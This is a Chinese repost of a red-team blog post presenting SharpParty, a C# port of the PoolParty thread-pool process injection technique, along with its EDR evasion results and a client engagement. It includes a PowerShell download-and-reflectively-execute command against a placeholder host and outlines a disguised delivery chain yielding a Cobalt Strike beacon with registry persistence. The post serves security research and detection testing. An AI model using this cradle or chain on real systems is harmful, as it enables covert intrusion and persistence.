文章总结: 本文介绍了SharpParty,一个基于PoolParty技术的C#进程注入实现,通过将代码注入Windows线程池来绕过EDR检测。该技术最初成功绕过MicrosoftDefender,但后来被检测到。作者分享了实际应用案例,展示了该技术在客户项目中的效果,指出从执行到检测存在30分钟延迟窗口。作者强调开发SharpParty的目的是为红队提供更多工具选择,并呼吁社区继续研究改进。
综合评分: 87
文章分类: 渗透测试,红队,代码审计,漏洞分析,内网渗透
SharpParty:C# 进程注入技术
Will Rabb
securitainment
2025年11月14日 17:18
中国香港
随着反病毒软件和 EDR 解决方案在检测与响应能力上的不断提升,红队成员的工作变得愈发艰难。那些曾经主导网络的恶意软件载荷和攻击技术,如今已经跟不上时代,因为 EDR 已经能够识别它们。如果你的初始访问载荷刚一部署就被检测到,那么为期 6 周的红队行动可能在开始时就失败。而现实中的威胁行为者拥有充足的时间和资源;想象一下,一个成熟的威胁组织在多年间可能开发出多少载荷、技术和 0-day 漏洞。因此,红队必须持续改进自己的战术、技术与流程 (TTPs),以便更好地模拟那些不断演进的真实威胁行为者。
在本文中,LevelBlue 旗下的 Stroz Friedberg 公司为红队工具箱带来了一个新成员 ——”SharpParty”,这是对进程注入技术”PoolParty”的 C# 实现。
我们需要明确说明:Stroz Friedberg 并未创造 PoolParty,也没有对 Windows 线程池的研究进行扩展。相反,Stroz Friedberg 只是将 SafeBreach Labs 的原始 C++ 源代码翻译成了 C#。我们的目标是为红队在选择载荷时提供更多选项。你可以从我们的 GitHub 仓库下载 SharpParty。
进程注入
在深入了解 PoolParty 之前,我们首先需要理解什么是进程注入。进程注入的概念相对简单:将代码注入到另一个进程中。这样做的目的是隐藏和掩盖恶意活动。但是,进程注入的实际实现过程却并不简单。
如果你想深入了解进程注入,可以参考以下链接:
- https://attack.mitre.org/techniques/T1055/
- https://github.com/plackyhacker/Shellcode-Injection-Techniques
PoolParty
SafeBreach Labs 通过发布”PoolParty”完美地展示了持续开发 TTP 的必要性。这是一套针对 Windows 线程池的进程注入技术。通过这项研究,SafeBreach Labs 成功绕过了 5 家主流 EDR 厂商的防护。他们还发布了一个概念验证 GitHub 仓库,其中的源代码使用 C++ 编写。
简单来说,PoolParty 通过构造并插入合法的工作项到进程的线程池中,从而将代码注入到进程。工作项是一个包含任务规范的结构,其中包括特定条件以及当这些条件满足时要执行的代码。注入的工作项实际上充当了执行原语,因为工作项会在其条件满足时执行我们的代码。例如,一个工作项可以在文件被修改时执行某个操作。在这个例子中,文件修改就是执行原语,我们不需要通过像 CreateRemoteThread这样的方式手动触发执行,而后者是进程注入的典型特征。
动机
开发 C# 版本的主要动机是让 PoolParty 技术能够应用于那些利用 XML 文件中内联 MSBuild 任务的工具。Task XML 文件可以包含嵌入式 C# 代码,当传递给 msbuild.exe时会被编译并执行。虽然 Task XML 确实支持 C++ (原始概念验证所使用的语言),但前提是目标机器上存在 CppCodeProvider.dll程序集。这个 DLL 包含在某些 Visual Studio 安装中,但 Windows 机器并不保证默认就有。为了确保我们的载荷能在几乎所有 Windows 主机上执行,我们需要用 C# 来实现 PoolParty 技术。
此外,C# 版本的 PoolParty 还可以通过 PowerShell 反射加载到内存中:
$data= (new-object net.webclient).downloaddata('http://127.0.0.1/sharpparty.exe');
$assem= [System.Reflection.Assembly]::Load($data);
[SharpParty.Program]::Main("1 666".Split());
最后,随着攻击性 C# 工具的持续流行,C# 版本的 PoolParty 实现可以集成到其他攻击性工具中,成为各种攻击链的一部分。
基于这些原因,Stroz Friedberg 开始了”PoolParty”技术的 C# 实现 —— SharpParty。
对抗 EDR 的效果
在测试期间,SharpParty 最初能够持续绕过 Microsoft Defender for Endpoint (MDE)。我们在 2025 年 3 月向 Microsoft 提交了展示绕过的报告,他们验证后随即实施了相应检测。从那时起,我们观察到针对 SharpParty 的检测数量有所增加。其他 EDR 系统也已经检测到并且有时会阻止 SharpParty 的执行,主要是基于对 msbuild.exe的恶意使用以及未明确指定的进程注入技术的识别。
虽然 SharpParty 内联任务最近受到了 EDR 更多的检测,但有几点值得注意:
- SafeBreach Labs 公开发布了他们关于通过 Windows 线程池进行进程注入的研究,使 EDR 厂商能够针对这种技术实施检测和监控。
- 使用内联任务和
msbuild.exe是一种相对知名的技术。 - 还有进一步开发的空间,可以提高载荷对抗 EDR 的效果。
归根结底,我们的目标是为红队工具箱再添一个工具,再提供一种达成目标的手段,以及另一个用于评估威胁检测能力的测试用例。
成功案例
在研究过程中,我们有机会在客户项目中进一步测试我们的代码。以下是我们载荷的组成:
- 一个包含 C# 内联任务的 Task XML 文件,其中包含加密的 SharpParty 代码和辅助函数,用于获取解密密钥、解密代码,然后编译并执行解密后的代码。
- beacon shellcode 嵌套在额外的加密层中。
- 使用 HTTP Keying 来检索和验证解密密钥,确保能够连接到 C2 服务器。
载荷的执行流程如下图所示:
Diagram
图 1. 载荷执行流程图。
dropper 如何在 task XML 上执行 msbuild.exe取决于多种条件,这超出了本文的讨论范围。
一切测试就绪后,我们与客户进行了视频通话,现场演示恶意软件的执行。我们对载荷进行了伪装,从受害者的角度看,就像是下载了一个 ZIP 文件并打开了一个 PDF。而在后台,我们成功执行了 SharpParty 并获得了一个 Cobalt Strike beacon。建立 C2 通道后,客户那边当时没有收到任何警报。大约 10 分钟后,我们建议进行一个测试用例,通过注册表运行键设置持久化,以检查这种活动是否会被检测到。客户同意了,我们在通话中现场执行了测试,设置了一个自动运行键来执行相同的 SharpParty 载荷。然后,我们登出工作站并重新登录,收到了第二个 beacon。
客户自然感到担忧,因为我们已经建立了 2 个 C2 beacon,而他们却没有收到任何检测提示。在执行后 30 分钟,EDR 才检测到 msbuild.exe的恶意使用以及目标进程中未明确指定的恶意载荷,客户这时才收到警报。
虽然这段代码最终还是被检测到了,但有两点关键收获:
- EDR 检测到的是
msbuild.exe的执行。 - 从执行到检测之间存在 30 分钟的延迟。虽然时间相对较短,但这个窗口期可能足以让威胁行为者在网络中横向移动并维持访问权限。
总结
总的来说,我们基于 SafeBreach Labs 的杰出工作开发了 PoolParty 的 C# 实现,阐明了其存在的意义,并分享了一个成功案例。一如既往,还有改进的空间。我们可以在添加更多变体方面继续发展,甚至可能发现新的变体,并提高对抗 EDR 产品的效果。我们发布这篇博文并开源 SharpParty 的目标,是与安全社区分享知识,并为未来的研究和开发提供方向。
SharpParty: Process Injection in C
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Will Rabb《SharpParty:C# 进程注入技术》